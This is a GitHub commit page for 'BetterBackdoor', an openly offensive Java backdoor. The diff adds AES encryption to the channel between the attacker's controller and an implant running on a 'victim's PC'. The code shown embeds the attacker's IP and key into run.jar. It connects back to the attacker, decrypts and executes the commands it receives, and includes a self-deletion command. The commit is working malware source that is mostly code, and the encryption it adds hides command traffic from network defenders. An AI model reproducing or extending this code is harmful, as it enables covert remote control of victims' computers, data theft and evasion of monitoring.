Skip to content

Commit

Permalink
Merge pull request #27 from thatcherclough/develop
Browse files Browse the repository at this point in the history
Added an option to encrypt data sent to and from the backdoor.
  • Loading branch information
thatcherclough authored Oct 15, 2020
2 parents cde6b2f + 56330c4 commit bc1269b
Show file tree
Hide file tree
Showing 9 changed files with 255 additions and 83 deletions.
3 changes: 2 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -5,4 +5,5 @@
/*.jar
/gathered
/.idea/
BetterBackdoor.iml
BetterBackdoor.iml
/keys.txt
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -29,8 +29,8 @@ Once a connection is established, commands can be sent to the client in order to

To create the backdoor, BetterBackdoor:
- Creates 'run.jar', the backdoor jar file, and copies it to directory 'backdoor'.
- Appends a text file containing the attacker's IP address to 'run.jar'.
- Note: this IP address is written in plain text.
- Appends a text file containing the attacker's IP address and an encryption key (if the attacker selected to encrypt the data sent to and from the backdoor) to 'run.jar'.
- Note: this data is written in plain text.
- If desired, copies a Java Runtime Environment to 'backdoor' and creates batch file 'run.bat' for running the backdoor in the packaged Java Runtime Environment.

The backdoor can operate within a single network, LAN, and over the internet, WAN.
Expand Down
67 changes: 47 additions & 20 deletions src/main/java/dev/thatcherclough/betterbackdoor/BetterBackdoor.java
Original file line number Diff line number Diff line change
Expand Up @@ -2,13 +2,18 @@

import java.io.File;
import java.nio.file.Paths;
import java.security.NoSuchAlgorithmException;
import java.util.Base64;
import java.util.Objects;
import java.util.Scanner;

import dev.thatcherclough.betterbackdoor.backend.Utils;
import dev.thatcherclough.betterbackdoor.shell.Shell;

import org.springframework.boot.autoconfigure.SpringBootApplication;

import javax.crypto.*;

@SpringBootApplication
public class BetterBackdoor {

Expand All @@ -33,28 +38,43 @@ public static void main(String[] args) {
System.out.println("[1] Open backdoor shell");
String choice = getInput("op01");
if (choice.equals("0")) {
System.out.println("Would you like this backdoor to operate within a single network, LAN, "
+ "or over the internet, WAN (requires port forwarding):");
System.out.println("[0] LAN");
System.out.println("[1] WAN (requires port forwarding)");
String ipType = getInput("op01").equals("0") ? "internal" : "external";
try {
System.out.println("Would you like this backdoor to operate within a single network, LAN, or over the internet, WAN (requires port forwarding):");
System.out.println("[0] LAN");
System.out.println("[1] WAN (requires port forwarding)");
String ipType = getInput("op01").equals("0") ? "internal" : "external";

boolean jre = false;
if (os.contains("Windows")) {
System.out.println(
"Would you like to package the Java Runtime Environment from your computer with the backdoor\nso it can be run on computers without Java installed?" +
"(y/n):");
jre = Boolean.parseBoolean(getInput("yn"));
} else
System.out.println(
"If you would like to package a Java Runtime Environment with the backdoor so it can be run on computers without Java,\n"
+ "in the current working directory create folder 'jre' containing 'bin' and 'lib' directories from a Windows JRE distribution.\n");
String encryptionKey = null;
System.out.println("Would you like to encrypt data sent to and from the backdoor using an automatically generated 256 bit AES encryption key?(y/n):");
boolean encrypt = Boolean.parseBoolean(getInput("yn"));
if (encrypt) {
KeyGenerator keyGenerator;
try {
keyGenerator = KeyGenerator.getInstance("AES");
} catch (NoSuchAlgorithmException e) {
throw new Exception("Could not generate encryption key.");
}
Objects.requireNonNull(keyGenerator).init(256);
encryptionKey = Base64.getEncoder().encodeToString(keyGenerator.generateKey().getEncoded());
System.out.println("Automatically generated key: " + encryptionKey + "\n");
}

System.out.println("Press ENTER to create backdoor...");
sc.nextLine();
System.out.println("Creating...\n");
try {
Setup.create(jre, ipType);
boolean jre = false;
if (os.contains("Windows")) {
System.out.println(
"Would you like to package the Java Runtime Environment from your computer with the backdoor\nso it can be run on computers without Java " +
"installed?" +
"(y/n):");
jre = Boolean.parseBoolean(getInput("yn"));
} else
System.out.println(
"If you would like to package a Java Runtime Environment with the backdoor so it can be run on computers without Java,\n"
+ "in the current working directory create folder 'jre' containing 'bin' and 'lib' directories from a Windows JRE distribution.\n");

System.out.println("Press ENTER to create backdoor...");
sc.nextLine();
System.out.println("Creating...\n");
Setup.create(jre, ipType, encryptionKey);
System.out.println("Created!\n");
if (ipType.equals("external"))
System.out.println(
Expand All @@ -65,6 +85,13 @@ public static void main(String[] args) {
+ "If a JRE is packaged with the backdoor, execute run.bat, otherwise execute run.jar.\n"
+ "This will start the backdoor on the victim's PC.\n"
+ "To control the backdoor, return to BetterBackdoor and run option 1 at start.\n");
if (encrypt) {
String keysFilepath = System.getProperty("user.dir") + File.separator + "keys.txt";
System.out.println("***IMPORTANT***\nEncryption key: " + encryptionKey + "\nThe encryption key is stored both inside of run.jar (the backdoor) and in '"
+ keysFilepath + "' on the current machine.\nIf 'keys.txt' gets deleted, you will be given an option to manually input the key when " +
"connecting to the backdoor.\nWithout this key you will not be able to control the backdoor.\n");
}

System.out.println("Press ENTER to exit...");
sc.nextLine();
} catch (Exception e) {
Expand Down
33 changes: 20 additions & 13 deletions src/main/java/dev/thatcherclough/betterbackdoor/Setup.java
Original file line number Diff line number Diff line change
@@ -1,10 +1,6 @@
package dev.thatcherclough.betterbackdoor;

import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.PrintWriter;
import java.io.Writer;
import java.io.*;
import java.net.URI;
import java.nio.charset.StandardCharsets;
import java.nio.file.FileSystem;
Expand All @@ -30,17 +26,19 @@ public class Setup {
* false but directory 'jre' containing a Windows JRE distribution exists, 'jre'
* is copied to 'backdoor' and {@code #createBat(String, String, String)} is
* used to create a '.bat' file for running the backdoor in the JRE. 'run.jar'
* is copied from 'target' to 'backdoor' and 'ip' is appended into it using
* is copied from 'target' to 'backdoor' and 'info' is appended into it using
* {@code #appendJar(String, String, String)}. If {@code ipType} is "internal",
* 'ip' will contain the internal IP address of the current machine. Otherwise,
* if {@code ipType} is "external", 'ip' will contain the external IP address of
* the current machine.
* 'info' will contain the internal IP address of the current machine. Otherwise,
* if {@code ipType} is "external", 'info' will contain the external IP address of
* the current machine. If {@code encryptionKey} is not null, 'info' will also contain
* {@code encryptionKey}.
*
* @param packageJre if a JRE should be packaged with the backdoor
* @param ipType type of IP address to append to 'run.jar'
* @param packageJre if a JRE should be packaged with the backdoor
* @param ipType type of IP address to append to 'run.jar'
* @param encryptionKey key to be used to encrypt backdoor data
* @throws IOException
*/
public static void create(boolean packageJre, String ipType) throws IOException {
public static void create(boolean packageJre, String ipType, String encryptionKey) throws IOException {
if (packageJre) {
String jrePath = System.getProperty("java.home");
FileUtils.copyDirectory(new File(jrePath + File.separator + "bin"),
Expand All @@ -54,7 +52,16 @@ public static void create(boolean packageJre, String ipType) throws IOException
}
FileUtils.copyFile(new File("target" + File.separator + "run.jar"),
new File("backdoor" + File.separator + "run.jar"));
appendJar("backdoor" + File.separator + "run.jar", "/ip", Utils.getIP(ipType));

String info = Utils.getIP(ipType);
if (encryptionKey != null) {
PrintWriter out = new PrintWriter(new BufferedWriter(new FileWriter("keys.txt", true)));
out.println(encryptionKey);
out.flush();
out.close();
info += "-" + encryptionKey;
}
appendJar("backdoor" + File.separator + "run.jar", "/info", info);
}

/**
Expand Down
Original file line number Diff line number Diff line change
@@ -1,12 +1,15 @@
package dev.thatcherclough.betterbackdoor.backdoor;

import dev.thatcherclough.betterbackdoor.backend.Utils;

import java.io.*;
import java.net.Socket;
import java.util.Scanner;

public class Backdoor {

public static String ip;
public static String key;
private static Socket socket;
private static ObjectInputStream in;
public static ObjectOutputStream out;
Expand All @@ -25,14 +28,19 @@ public static void main(String[] args) {
/**
* Constructs a new Backdoor.
* <p>
* Uses {@link #readFromJar(String)} to get the contents of "ip", a text file
* Uses {@link #readFromJar(String)} to get the contents of "info", a text file
* inside the jar file this class will be running from. This file contains the
* IP address of the server to be used to control the backdoor. Sets {@link #ip}
* to this address. Creates directory {@code gatheredDir}.
* IP address of the server to be used to control the backdoor, and possibly an encryption key.
* Sets {@link #ip} to this IP address. Creates directory {@code gatheredDir}.
*/
private Backdoor() {
try {
ip = readFromJar("/ip");
String contents = readFromJar("/info");
if (contents.contains("-")) {
ip = contents.substring(0, contents.indexOf("-"));
key = contents.substring(contents.indexOf("-") + 1);
} else
ip = contents;
new File(gatheredDir).mkdir();
} catch (Exception e) {
System.exit(0);
Expand All @@ -58,8 +66,35 @@ private void start() {
}
out = new ObjectOutputStream(socket.getOutputStream());
in = new ObjectInputStream(socket.getInputStream());

out.writeObject(Boolean.toString(key != null));
out.flush();
if (key != null)
while (true) {
String trueEncrypted = (String) in.readObject();
try {
String trueDecrypted = Utils.decrypt(trueEncrypted, key);
if (trueDecrypted.equals("true")) {
out.writeObject("true");
out.flush();
break;
} else
throw new Exception();
} catch (Exception e) {
out.writeObject("false");
out.flush();
}
}


while (true) {
String command = (String) in.readObject();
String command;
String rec = (String) in.readObject();
if (key != null)
command = Utils.decrypt(rec, key);
else
command = rec;

HandleCommand.handle(command);
}
} catch (Exception e) {
Expand All @@ -85,10 +120,12 @@ private void start() {
* @return contents of the file
*/
private String readFromJar(String filename) {
String ret;
StringBuilder ret = new StringBuilder();
Scanner in = new Scanner(getClass().getResourceAsStream(filename));
ret = in.nextLine();
while (in.hasNextLine())
ret.append(in.nextLine());
in.close();
return ret;

return ret.toString();
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -7,10 +7,15 @@
import java.io.File;
import java.io.IOException;
import java.io.PrintWriter;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Scanner;

import javax.crypto.BadPaddingException;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.imageio.ImageIO;

import dev.thatcherclough.betterbackdoor.backend.DuckyScripts;
Expand All @@ -30,7 +35,8 @@ public class HandleCommand {
*
* @param command command given to the backdoor
*/
public static void handle(String command) throws IOException {
public static void handle(String command) throws IOException, IllegalBlockSizeException, InvalidKeyException, BadPaddingException, NoSuchAlgorithmException,
NoSuchPaddingException {
StringBuilder send = new StringBuilder();
if (command.equals("help"))
send = new StringBuilder("[cmd] Open a command prompt shell\n[ps] Run a PowerShell script\n[ds] Run a DuckyScript\n"
Expand Down Expand Up @@ -229,7 +235,7 @@ else if (command.startsWith("unzip"))
}
else if (command.equals("remove"))
try {
Runtime.getRuntime().exec("cmd /c ping localhost -n 5 > nul && cd "+System.getProperty("user.dir")+" && del /f /q run.jar run.bat && rd /s /q "
Runtime.getRuntime().exec("cmd /c ping localhost -n 5 > nul && cd " + System.getProperty("user.dir") + " && del /f /q run.jar run.bat && rd /s /q "
+ Backdoor.gatheredDir + " jre");
System.exit(0);
} catch (Exception e) {
Expand All @@ -239,7 +245,12 @@ else if (command.equals("remove"))
}
else if (!command.isEmpty())
send = new StringBuilder("Command not found");
Backdoor.out.writeObject(send.toString());

if (Backdoor.key != null)
Backdoor.out.writeObject(Utils.encrypt(send.toString(), Backdoor.key));
else
Backdoor.out.writeObject(send.toString());

Backdoor.out.flush();
}

Expand Down
46 changes: 33 additions & 13 deletions src/main/java/dev/thatcherclough/betterbackdoor/backend/Utils.java
Original file line number Diff line number Diff line change
@@ -1,22 +1,13 @@
package dev.thatcherclough.betterbackdoor.backend;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.*;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Enumeration;
import java.util.Objects;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.*;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;
import java.util.zip.ZipOutputStream;
Expand All @@ -26,6 +17,9 @@
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.IOUtils;

import javax.crypto.*;
import javax.crypto.spec.SecretKeySpec;

public class Utils {

public static String currentCMDDirectory = System.getProperty("user.dir");
Expand Down Expand Up @@ -215,4 +209,30 @@ public static String getIP(String ipType) throws IOException {
}
return ret;
}

public static String encrypt(String toEncrypt, String key) throws NoSuchPaddingException, NoSuchAlgorithmException, UnsupportedEncodingException, InvalidKeyException,
BadPaddingException, IllegalBlockSizeException {
byte[] toEncryptBytes = toEncrypt.getBytes("UTF8");

byte[] keyBytes = Base64.getDecoder().decode(key);
SecretKey encryptionKey = new SecretKeySpec(keyBytes, 0, keyBytes.length, "AES");

Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.ENCRYPT_MODE, encryptionKey);
byte[] cipherBytes = cipher.doFinal(toEncryptBytes);
return Base64.getEncoder().encodeToString(cipherBytes);
}

public static String decrypt(String toDecrypt, String key) throws UnsupportedEncodingException, NoSuchPaddingException, NoSuchAlgorithmException, BadPaddingException,
IllegalBlockSizeException, InvalidKeyException {
byte[] toDecryptBytes = Base64.getDecoder().decode(toDecrypt);

byte[] keyBytes = Base64.getDecoder().decode(key);
SecretKey encryptionKey = new SecretKeySpec(keyBytes, 0, keyBytes.length, "AES");

Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.DECRYPT_MODE, encryptionKey);
byte[] decryptedBytes = cipher.doFinal(toDecryptBytes);
return new String(decryptedBytes, "UTF8");
}
}
Loading

0 comments on commit bc1269b

Please sign in to comment.